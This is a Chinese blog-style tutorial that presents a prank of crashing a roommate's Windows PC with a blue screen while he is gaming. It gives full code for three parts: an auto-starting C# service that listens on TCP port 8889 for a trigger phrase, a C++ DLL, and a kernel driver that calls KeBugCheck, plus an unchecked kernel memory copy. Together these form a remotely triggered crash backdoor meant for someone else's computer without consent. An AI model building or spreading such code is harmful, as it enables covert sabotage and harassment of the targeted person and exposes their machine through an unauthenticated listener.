室友打游戏 放音乐很烦人,还劝不听?怎么办,继续往下看,让他在玩的最嗨的时候突然蓝屏~~~~
普通Ring3权限的软件不容易导致蓝屏,Ring0权限下就简单了,随便用指针乱指就行了
比如
int *p;
p = 0x100;
(*p) = 0x100;
在ring3全权限下执行你只会得到一个异常,ring0下执行就会蓝屏啦
解释一下什么时Ring0权限
Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3。RING0层拥有最高的权限,RING3层拥有最低的权限。按照Intel原有的构想,应用程序工作在RING3层,只能访问RING3层的数据,操作系统工作在RING0层,可以访问所有层的数据,而其他驱动程序位于RING1、RING2层,每一层只能访问本层以及权限更低层的数据。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。尽管有CPU的特权级别作保护,遗憾的是WINDOW98本身漏洞很多,使用Windows 98的系统一天死机n回也是正常的
程序注释已经非常详细了,我就不再多废话了
下面的是C#写的windows服务程序 服务程序挂载到系统之后,随系统自动启动
主要是创建Soctet通信,监听客户端连接,收到指令后启动蓝屏
程序流程基本就是从上到下执行的
<code class="lang-c">[DllImport("DriverAPI.dll")] //C++写的驱动控制函数 入口声明
public static extern UInt32 Blue_bottle();
private static byte[] result = new byte[1024];
private static int myProt = 8889; //端口
static Socket serverSocket;
protected override void OnStart(string[] args)///// 服务程序从此处开始!!!!!!
{
string hostname = Dns.GetHostName();//得到本机名
IPHostEntry localhost = Dns.GetHostEntry(hostname);//得到本地所有ip地址
foreach (IPAddress ServerIp in localhost.AddressList)//循环所有得到的ip地址
{
try//异常处理
{
serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);//创建一个Socket
serverSocket.Bind(new IPEndPoint(ServerIp, myProt)); //绑定IP地址:端口 如果能绑定说明ip地址可用
break;//跳出循环
}
catch (Exception)
{//如果发生异常则代表ip地址不可用 测试下一个ip地址
}
}
serverSocket.Listen(10); //设定最多10个排队连接请求
Thread myThread = new Thread(ListenClientConnect);//创建一个新的线程监听客户端连接
myThread.Start();//线程启动
}
/// <summary>
/// 监听客户端连接
/// </summary>
private static void ListenClientConnect()
{
while (true)
{
Socket clientSocket = serverSocket.Accept();//监听时会卡在这个函数中 直到有客户端链接
clientSocket.Send(Encoding.Default.GetBytes("欢迎光临\r\n回复:\"哈药三精\"启动蓝瓶程序\r\n"));//给客户端发送消息
Thread receiveThread = new Thread(ReceiveMessage);//初始化接收消息进程
receiveThread.Start(clientSocket);//线程启动,并传进当前连接客户端的socket
//继续监听下一个客户端连接
}
}
/// <summary>
/// 接收消息
/// </summary>
/// <param name="clientSocket">已经连接的socket
private static void ReceiveMessage(object clientSocket)
{
Socket myClientSocket = (Socket)clientSocket;//当前连接客户端的socket
while (true)
{
try
{
//通过clientSocket接收数据
int receiveNumber = myClientSocket.Receive(result); //接收客户端发来的消息 如果没有消息,就一直卡在这个函数里
if (Encoding.Default.GetString(result, 0, receiveNumber).IndexOf("哈药三精") != -1)//查看是否有蓝屏指令
{
Blue_bottle();//启动蓝屏 这个还是用C++写的 因为C#封装winAPI太麻烦
}
else
{
myClientSocket.Send(Encoding.Default.GetBytes("回复:\"哈药三精\"启动蓝瓶程序\r\n"));
}
if (myClientSocket.Poll(1000, SelectMode.SelectRead)) //判断客户端是否可读
{
throw new Exception("链接已经断开");//抛出异常
}
}
catch (Exception )//如果产生任何异常 有可能是客户端已经断开或者出现其他问题 则跳到这里开始执行
{
myClientSocket.Shutdown(SocketShutdown.Both);
myClientSocket.Close();//关闭Socket连接 释放资源
break; //跳出死循环 当前线程结束
}
}
}</code>
下面是用C++写的DriverAPI.Dll
当Blue_bottle被windows服务执行后,打开驱动设备,获得设备句柄,
WriteFile会触发驱动程序执行WDMWrite派遣函數
<code class="lang-c">#define DEVICE_NAME L"\\\\.\\HelloWDM"
void Write(HANDLE hDevice)
{
if (hDevice != INVALID_HANDLE_VALUE)
{
int buffer[] = { 1111, 2222, 3333, 4444, 5555 };
DWORD ret = 0;
WriteFile(
hDevice,//文件句柄
buffer,//数据缓存区指针
sizeof(buffer),//你要写的字节数
&ret,//用于保存实际写入字节数的存储区域的指针
NULL//OVERLAPPED结构体指针
);
}
}
extern "C" DLL_API unsigned int Blue_bottle(void)
{
HANDLE hDevice = CreateFile(DEVICE_NAME,//
GENERIC_READ | GENERIC_WRITE, //访问模式(写 / 读)
0, //共享模式
NULL, //指向安全属性的指针
OPEN_EXISTING, //如何创建
FILE_ATTRIBUTE_NORMAL, //文件属性
NULL); //用于复制文件句柄
if (hDevice == INVALID_HANDLE_VALUE)
{
return GetLastError();
}
Write(hDevice);
return 0;
}</code>
以下是驱动程序 具有Ring0权限
<code class="lang-c">NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, //驱动程序入口 类似main
IN PUNICODE_STRING pRegistryPath)
{
DbgPrint("Enter DriverEntry\n");
pDriverObject->DriverExtension->AddDevice = HelloWDMAddDevice;
pDriverObject->MajorFunction[IRP_MJ_PNP] = HelloWDMPnp;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
pDriverObject->MajorFunction[IRP_MJ_CREATE] = HelloWDMDispatchRoutine;
pDriverObject->MajorFunction[IRP_MJ_READ] = HelloWDMRead;
pDriverObject->MajorFunction[IRP_MJ_WRITE] = WDMWrite; //定义派遣函数 DriverAPI.dll中的Write会触发这个函数执行
pDriverObject->DriverUnload = DriverUnload;
DbgPrint("Leave DriverEntry\n");
return STATUS_SUCCESS;
}
NTSTATUS WDMWrite(IN PDEVICE_OBJECT fdo, IN PIRP Irp) //DriverAPI.dll中的Write会触发这个函数执行
{
DbgPrint("Enter HelloWDMWrite\n");
__asm_int_3;
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)fdo->DeviceExtension;//获得设备扩展
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);//获得irp信息
ULONG ulWrite = 0;//成功Write的字节数
ULONG ulLen = stack->Parameters.Write.Length;//获取caller想要write的字节数
ULONG ulOffset = (ULONG)stack->Parameters.Write.ByteOffset.QuadPart;//获取caller调用(WriteFile)的偏移量
int buffer[5] = { 0 };
// //把内容copy到驱动的缓冲里面。这里使用的是DO_BUFFERED_IO模式,那么可以从Irp->AssociatedIrp.SystemBuffer获取
// //内核模式下的地址(系统会将用户模式的缓冲COPY到内核模式的缓冲Irp->AssociatedIrp.SystemBuffer)
RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, ulLen);//保存在驱动里面
if (buffer[0] == 1111 && buffer[1] == 2222 && buffer[2] == 3333)
{
KeBugCheck(0x0000009C); //在Ring0权限下才可以执行,会导致蓝屏
}
status = STATUS_SUCCESS;
ulWrite = ulLen;
Irp->IoStatus.Status = status; //设置IRP的完成状态(成功还是失败)
Irp->IoStatus.Information = ulWrite; //驱动实际操作了多少字节
IoCompleteRequest(Irp, IO_NO_INCREMENT); //结束IRP,无需往下面的驱动传递
DbgPrint("Leave HelloWDMWrite, write: %d bytes, offset: %d, input len: %d\n", ulWrite, ulOffset, ulWrite);
return status;
}</code>